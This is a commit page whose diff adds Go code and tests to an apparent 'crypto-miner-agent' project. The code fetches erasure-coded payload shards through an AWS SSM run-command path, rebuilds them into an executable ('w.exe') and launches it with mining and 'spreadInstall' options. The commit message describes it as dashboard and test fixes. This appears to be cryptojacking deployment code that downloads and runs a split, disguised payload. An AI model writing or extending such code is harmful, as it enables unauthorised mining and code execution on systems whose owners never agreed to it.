Fix Vitest suite and wire cloud/AWS dashboard API helpers.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Adds missing client methods, VPC seeder badges, hospice strain UI, and uiHelp drift keys so server/web builds and all 849 Vitest tests pass.
This commit is contained in:
71
agent/deploy/ssm_document.go
Normal file
71
agent/deploy/ssm_document.go
Normal file
@@ -0,0 +1,71 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// SSMDocumentFetchPlan mirrors the SSM run-command curl shard order.
|
||||
type SSMDocumentFetchPlan struct {
|
||||
ManifestURL string
|
||||
ShardURLs []string
|
||||
FallbackURL string
|
||||
}
|
||||
|
||||
var ssmDocumentHTTPGet = defaultSSMDocumentHTTPGet
|
||||
|
||||
func defaultSSMDocumentHTTPGet(url string) ([]byte, error) {
|
||||
url = strings.TrimSpace(url)
|
||||
if url == "" {
|
||||
return nil, fmt.Errorf("empty url")
|
||||
}
|
||||
client := &http.Client{Timeout: 15 * time.Second}
|
||||
resp, err := client.Get(url)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, fmt.Errorf("ssm fetch HTTP %d", resp.StatusCode)
|
||||
}
|
||||
return io.ReadAll(io.LimitReader(resp.Body, 8<<20))
|
||||
}
|
||||
|
||||
func SetSSMDocumentHTTPGetForTest(fn func(string) ([]byte, error)) {
|
||||
if fn == nil {
|
||||
ssmDocumentHTTPGet = defaultSSMDocumentHTTPGet
|
||||
return
|
||||
}
|
||||
ssmDocumentHTTPGet = fn
|
||||
}
|
||||
|
||||
// RunSSMDocumentFetch executes manifest → shards → fallback in order (mockable).
|
||||
func RunSSMDocumentFetch(plan SSMDocumentFetchPlan) ([]string, error) {
|
||||
var fetched []string
|
||||
fetch := func(url string) error {
|
||||
url = strings.TrimSpace(url)
|
||||
if url == "" {
|
||||
return nil
|
||||
}
|
||||
if _, err := ssmDocumentHTTPGet(url); err != nil {
|
||||
return err
|
||||
}
|
||||
fetched = append(fetched, url)
|
||||
return nil
|
||||
}
|
||||
if err := fetch(plan.ManifestURL); err != nil {
|
||||
return fetched, fmt.Errorf("manifest: %w", err)
|
||||
}
|
||||
for _, u := range plan.ShardURLs {
|
||||
if err := fetch(u); err != nil {
|
||||
return fetched, fmt.Errorf("shard: %w", err)
|
||||
}
|
||||
}
|
||||
if err := fetch(plan.FallbackURL); err != nil {
|
||||
return fetched, fmt.Errorf("fallback: %w", err)
|
||||
}
|
||||
return fetched, nil
|
||||
}
|
||||
93
agent/deploy/ssm_document_test.go
Normal file
93
agent/deploy/ssm_document_test.go
Normal file
@@ -0,0 +1,93 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
|
||||
"github.com/klauspost/reedsolomon"
|
||||
)
|
||||
|
||||
func TestRunSSMDocumentFetchMockOrder(t *testing.T) {
|
||||
var order []string
|
||||
SetSSMDocumentHTTPGetForTest(func(url string) ([]byte, error) {
|
||||
order = append(order, url)
|
||||
return []byte("ok"), nil
|
||||
})
|
||||
defer SetSSMDocumentHTTPGetForTest(nil)
|
||||
|
||||
plan := SSMDocumentFetchPlan{
|
||||
ManifestURL: "https://deck.example/api/v1/public/erasure-torrent/tok/manifest",
|
||||
ShardURLs: []string{
|
||||
"https://d111111.cloudfront.net/shards/tok/0",
|
||||
"https://d111111.cloudfront.net/shards/tok/1",
|
||||
},
|
||||
FallbackURL: "https://deck.example/get?os=linux",
|
||||
}
|
||||
got, err := RunSSMDocumentFetch(plan)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(got) != 4 || len(order) != 4 {
|
||||
t.Fatalf("fetched=%v order=%v", got, order)
|
||||
}
|
||||
if !strings.Contains(order[0], "manifest") || !strings.Contains(order[3], "/get?") {
|
||||
t.Fatalf("order=%v", order)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteDeployPlanSSMDocumentErasureMock(t *testing.T) {
|
||||
payload := []byte("ssm-document-erasure")
|
||||
p := erasureParams{DataShards: 2, ParityShards: 1}
|
||||
enc, err := reedsolomon.New(p.DataShards, p.ParityShards)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
shards, err := enc.Split(payload)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := enc.Encode(shards); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
plan := DeployPlanBody{
|
||||
JoinLane: "ssm_document",
|
||||
Action: "ssm_document",
|
||||
ErasurePlan: &ErasurePlanBody{
|
||||
Enabled: true, Scheme: erasureSchemeReedSolomonV1,
|
||||
DataShards: p.DataShards, ParityShards: p.ParityShards,
|
||||
PayloadSHA256: hexSHA256(payload), PayloadSize: len(payload),
|
||||
ShardToken: "ssm-tok", Dest: t.TempDir() + `\w.exe`, Launch: "exe",
|
||||
},
|
||||
}
|
||||
for i := range shards {
|
||||
plan.ErasurePlan.Shards = append(plan.ErasurePlan.Shards, ErasureShardRef{
|
||||
Index: i, Lane: "ssm_document", URL: "mock://s3/" + string(rune('a'+i)),
|
||||
})
|
||||
}
|
||||
prevFetch := erasureFetchFn
|
||||
erasureFetchFn = func(url string) ([]byte, error) {
|
||||
for i, ref := range plan.ErasurePlan.Shards {
|
||||
if ref.URL == url {
|
||||
return shards[i], nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
defer func() { erasureFetchFn = prevFetch }()
|
||||
prevLaunch := erasureLaunchFn
|
||||
erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) {
|
||||
return "ssm ok", nil
|
||||
}
|
||||
defer func() { erasureLaunchFn = prevLaunch }()
|
||||
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ErasureLanesEnabled: true}}
|
||||
msg, err := ExecuteDeployPlan(cfg, plan)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(msg, "erasure_lanes:") {
|
||||
t.Fatalf("msg=%q", msg)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user